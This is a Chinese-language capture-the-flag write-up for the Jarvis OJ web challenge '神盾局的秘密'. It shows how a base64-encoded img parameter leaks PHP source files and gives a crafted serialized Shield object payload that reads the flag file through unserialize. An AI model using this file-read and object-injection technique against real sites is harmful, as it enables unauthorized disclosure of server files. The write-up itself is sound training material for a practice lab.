Jarvis OJ web部分_神盾局的秘密
题目链接:http://web.jarvisoj.com:32768/
打开题目,F12,发现一个图片链接,showimg.php?img=c2hpZWxkLmpwZw==
于是去到这个页面,发现并不是一张图片,而是图片的文档打开形式。又注意到img=c2hpZWxkLmpwZw==
这个应该是base64编码后的字符串,解码后为shield.jpg
。
猜测img接收的文件会被解析为php代码执行。
于是试试传index.php进去。将其base64编码后为:aW5kZXgucGhw
,传入后在源码中发现
代码为:
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
发现其包含了shield.php,于是尝试用相同的方法获得shield.php的信息。
shield.php的源码为:
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this ->file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
这里还给出了我们想要的flag在pctf.php中。并且过滤了/和\\
,也就不能直接目录遍历了。
接下来是分析代码。
index.php中将GET的数据进行反序列化,然后直接包含类中的文件。
而shield.php就是类的定义。
这里可以用这个网站进行在线序列化。
将包含文件为pctf.php的类序列化后的字符串为:O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
之后直接在index.php中提交该字串就可以了。
最后,payload为:http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
提交后,flag在注释中。